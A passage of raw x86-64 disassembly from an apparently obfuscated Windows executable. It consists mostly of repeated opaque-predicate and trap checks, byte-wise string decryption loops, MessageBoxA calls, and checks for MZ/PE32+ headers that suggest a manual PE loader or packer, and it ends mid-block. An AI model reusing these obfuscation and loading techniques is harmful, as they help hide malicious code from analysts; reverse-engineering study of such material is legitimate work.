mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d816
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d816
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d836
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14002a81c
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400b27d0
mov rax, qword gs:[0x1a]
mov edi, 0xa77e4c99
cmp rax, r13
jne 0x14001d906
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d8e6
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d8e6
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d906
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d9b0
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d990
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d990
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d9b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14002af18
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001da68
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001da48
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001da48
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001da68
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001db27
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001db07
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001db07
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001db27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14001db54
mov esi, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14001dc76
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r15d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14001dbe5
movzx ecx, r10b
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r14
jb 0x14001dbc7
mov rbx, qword [rbp - 0x40]
xor r15d, r15d
mov r13d, 0x2226fad1
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x1a]
movabs r14, 0x445e706a7db93494
cmp rax, r13
jne 0x14001dd2a
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dd0a
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dd0a
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dd2a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
mov esi, 0xa77e4c99
cmp rax, r13
jne 0x14001ddd9
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ddb9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ddb9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ddd9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001de83
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001de63
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001de63
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001de83
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rcx, qword gs:[0x1a]
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14001e256
cmp rcx, r13
jne 0x14001df50
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001df30
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001df30
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001df50
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xad
mov r10, r15
mov r11, r12
mov ebx, 0x36d78dac
movabs r8, 0x3a450686c
movabs r9, 0x748a0d0d8
movabs r14, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x14001df92
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400da650]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400da420]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400da4c0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x83f66691
mov dword [rbp + 0xc8c], 0xf346870a
mov dword [rbp + 0xc90], 0xf8396c18
mov word [rbp + 0xc94], 0xa8
mov r9, r15
mov r10d, 0x3d
movabs r8, 0xd115cc1fc
movabs r11, 0x1a22b983f8
movabs r14, 0x445e706a7db93494
movabs r12, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001e07f
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001e1a8
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e188
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e188
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e1a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x140029aca
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e236
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e236
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
cmp rcx, r13
jne 0x14001e2f7
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e2d7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e2d7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e2f7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
mov qword [rbp + 0xfe8], rdi
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001e3c4
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e3a4
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e3a4
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e3c4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
mov ecx, 0x20b
cmp word [rdi + 0x18], cx
je 0x14001e798
cmp rax, r13
jne 0x14001e492
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e472
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e472
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e492
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xad
mov r10, r15
mov r11, r12
mov ebx, 0x36d78dac
movabs r8, 0x3a450686c
movabs r9, 0x748a0d0d8
movabs r14, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x14001e4d4
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400da650]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400da430]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400da4c0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x83f66691
mov dword [rbp + 0xccc], 0xf346870a
mov dword [rbp + 0xcd0], 0xf8396c18
mov word [rbp + 0xcd4], 0xa8
mov r9, r15
mov r10d, 0x3d
movabs r8, 0xd115cc1fc
movabs r11, 0x1a22b983f8
movabs r14, 0x445e706a7db93494
movabs r12, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001e5c1
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001e6ea
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e6ca
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e6ca
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e6ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x140029aca
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e778
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e778
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
cmp rax, r13
jne 0x14001e83e
mov rax, qword gs:[0x51]
mov ebx, 0xa77e4c99
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e81e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e81e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e83e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400da4a0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xf646f42a
mov dword [rbp + 0x98c], 0x45628c05
mov dword [rbp + 0x990], 0x1b016e19
mov word [rbp + 0x994], 0x576d
mov byte [rbp + 0x996], al
mov r8, r15
mov esi, 0x36d78dab
movabs r9, 0x66d429a28
lea r10d, [rax + 0x1e]
lea r13d, [rsi + 1]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0xcda853450
cmp r9, rax
jb 0x14001e8a8
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400da500]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400da370]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0xd48344fa8
movabs r9, 0x6a41a27d4
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, rbx
jb 0x14001e969
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140029ad8
mov rax, qword gs:[0x1a]
mov esi, 0x2226fad1
cmp rax, rsi
mov ebx, 0xa77e4c99
jne 0x14001eada
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eaba
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eaba
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eada
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001eb84
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eb64
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eb64
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eb84
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
xor ecx, ecx
call fcn.140094444
mov rcx, rax
call fcn.14008fd24
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001ec3d
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ec1d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ec1d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ec3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001ece7
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ecc7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ecc7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ece7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001ed91
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ed71
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ed71
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ed91
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
mov edi, 0xd7667f7
cmp rax, rsi
jne 0x14001ee52
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ee32
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ee32
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ee52
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001ef0f
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eeef
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eeef
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ef0f
mov rax, qword [rbp + 0xf40]
